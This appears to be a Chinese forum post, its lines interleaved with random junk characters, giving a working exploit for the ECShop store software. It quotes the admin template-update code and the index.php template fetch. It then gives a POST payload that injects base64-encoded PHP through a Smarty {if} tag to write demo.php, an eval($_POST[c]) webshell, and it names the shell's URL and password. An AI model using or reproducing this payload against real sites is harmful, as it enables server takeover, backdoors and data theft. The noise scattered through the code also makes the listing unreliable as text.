首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板( f$ m$ j. \+ D2 L- m8 z
$ w9 x1 P# t$ n: _$ F4 }* W+ z
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了. Y* C' L2 V) [
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
" J {) i2 _+ r) _; q0 z8 _+ }admin/template.php
: B1 F! I5 ~+ s& T+ k/ f( K3 A- ~
1 if ($_REQUEST['act'] == 'update_library') ) U& `3 }4 W( D% S
+ H: G0 V3 Y; R- S m
2 & h& [4 n" J0 H ~( O( W
X0 B) t3 ]0 `6 X" K" g8 \3 {
- @3 g$ N# A, `4 d; q3 Z a. E1 L, w
4 check_authz_json('library_manage'); 3 k% o+ d0 q0 Y( R. y4 @8 T. M
D7 C' b) ^$ ]/ H! i, l8 p* e, D, B
5 ( \4 j3 c) ^& d6 Q
, }& p" ~! ~# f. r) r! ? Z* }4 m$ C0 j
6 $html = stripslashes(json_str_iconv($_POST['html']));
7 ~- g' w( z0 D4 [5 E
4 @! H, l4 e2 G5 \. I5 S7
8 S) q. P D0 l/ S/ g: Y3 l9 l8 u
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
6 a- u( G) K7 z$ g+ e" T6 G+ K* \( }* u' }/ ]4 a
9
% `! `; l+ F+ d2 |) F1 |" j. z: h- T5 y" a/ z
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
. C/ x. M6 Y0 A9 ?9 X8 I2 N, e& I. _# V3 a) z% @ r7 S9 V2 H
11 - ^* G6 x- d% n! M
4 \6 V' n* Q; ?$ c% c' H1 C- a) M# w p
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
- C# x1 q1 e) t- O; M) ^
3 G& ]; `) ~0 s9 b2 q0 ~13 1 P* l; `; D9 ^7 }$ |) w j+ S
2 D7 T; s4 x0 R14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 / u3 ^9 l, M& ~9 D
9 }3 A. P# Q6 D- E5 I c15 { 8 E8 Z0 e( @+ h
" `# P3 e' [' s( X! _16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
( g1 o, ^( s" n3 U- U, H1 X0 J. j; O+ C- [9 N' i1 o- v
17 make_json_result('', $_LANG['update_lib_success']); & H y& R- N' G; N6 r$ ~8 h
' S$ G% `, f% l& e1 g. L
18 } 0 s1 ~6 v3 [" E
. q8 y2 R, ^& n
19 else
5 ~' p7 A" \* H3 k- {
. L+ E- X u: P8 X20 {
% g: _! n9 v/ @" D5 ]; Q2 v G! G: B5 c- O
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
% ~/ I9 Z+ n: d/ P2 A4 A- O, g8 a+ N
% t- O& o5 y5 k- N, n4 l2 E0 k! l \22 }
8 J+ W C5 L1 K, e" q, ?8 D: N; b" _# j+ z' L
23 } * d9 d% _3 L/ k! E/ E- d
/ E) [; @' N$ J$ k, W5 I) w, ^" G, m那么找个比较方便调用了模板的文件" k% C8 `2 P" ~6 C2 ?* L4 I
index.php% Y9 d- q. U% Z: V* z ]
1 x+ i. f8 o2 A! I7 v1 if ($act == 'cat_rec')
; T* Y4 J. x6 V* O' y* V" C( R5 `5 w) O7 W" p+ |
2 5 d- L/ o' s' O; I1 O. [; h% G+ J
3 P1 @7 t/ P$ l3 c) E& d: r4 j3 {
3 A4 | n6 j9 D8 H _
/ t I9 x/ y& y/ Q0 u8 h; a5 c5 q4
: L7 B% @4 Q. [/ V
: n! D$ x5 J- M% j1 J5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
1 o$ ?# D1 w- b. X. t
9 M' S4 U. k" U, H6 H6 / q( j: f+ X4 z" z
) @' `9 F# {% m3 y- u; L, Q
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; : l: ?$ T8 f& j8 I) Z
% f V. [% {2 y8 j) h$ d( y$ o9 x
* D( H! d+ f0 {# j5 q5 s1 B9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; ; a; g$ y. D3 P* z Q" W+ R+ y
1 |# m& S( {$ l. e* u
10
% s0 @5 d, i, `2 ~
, e& H, ? f! I; r9 Y11 include_once('includes/cls_json.php'); / A ?9 p x5 s( b6 M. h* O7 c
& l _$ N6 ]# n9 \# C12 ! f7 [, k) B/ w( f2 b
3 w1 |! D" Z3 [3 ~2 a13 $json = new JSON; 7 m$ N/ W, I2 ?) R3 B2 H }
# N4 m b3 U2 @( v" d' |0 q" _2 p0 ^14
/ ^: E& F7 T% Z' L" e' |" r& g9 Z2 E, w9 g. i6 R
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); # j; W* l: }+ l( k! B
: N) g3 K# O% R- [" w
16
3 H) t0 G7 P1 r' C7 E* ~" a6 X; f' W( F3 f V
17 $children = get_children($cat_id); N' c/ n6 V% x3 f, J
: Z. a9 D7 x. q% N' @
18
% W0 f/ _5 \+ `5 y! O& \9 D5 K8 c) D& K# f3 {( {$ p; i
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
/ c! D( t# a7 e. \7 P
" V6 ~: ~ b2 B20 " h7 C2 z4 R6 ^; n6 ?
3 O! t) h9 B- w! \21 $smarty->assign('cat_rec_sign', 1);
, d8 q; j1 ^8 T/ b; @: a5 |! [- z [0 E& @; W9 ]
22 / H. ^+ M& d1 S; \
7 Y, M8 k I% G& L( t' d6 Y% E$ p0 p
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
- n* Y' c/ [; B H6 l) U2 U" j/ }( S) W+ P! C; ~1 J1 K
24
! q! \: r6 Q2 \6 o2 D( y0 ]
a8 _- d0 P7 Q1 [5 ]) e25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 6 `% x6 d' b8 I c o# b# w
# }9 b5 c6 {, @& @" `$ c26 ' z" b8 C) b( u" E: r* o
8 W D4 z6 ~0 V0 S9 l8 o2 \
27 echo $rec_array[$rec_type];
+ o2 C/ L y; X; ]1 j& t3 }8 \) L
28
/ {7 X" J: q& s. W/ ~# w. \/ x2 |+ H
29 die($json->encode($result)); , ~6 ~( q i E L8 p. _7 i" [
) b6 ^# I' W" J30
; |- `) N9 Q: ?. o+ M1 @& \
2 U% I6 o; F9 L31 } " ]# d5 h" s3 E9 T
% |$ B3 O8 R# g
那么就有利用方法了6 t6 D: z5 @* x! A; G2 v/ X* y
post包到http://localhost/ec/admin/template.php?act=update_library7 g% l% ~& J8 U
Post内容:
! L6 p+ [' J( o, D0 w
6 j* i1 B- E, C7 R6 U8 c: W: S
9 x* f5 I' o( Y1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} ! F. M& q' X v# Y' l
2 a. ~2 \. o) ~; [
然后访问http://localhost/ec/index.php?act=cat_rec
$ _" }' `# V! E
3 Q, s( F% a8 l" ushel地址:http://localhost/ec/demo.php
& I0 [0 V. L$ d/ a* F密码c
3 g; P, _- A8 g$ u5 h/ g2 w# l: s. p' @2 ~, P' X( U# S
|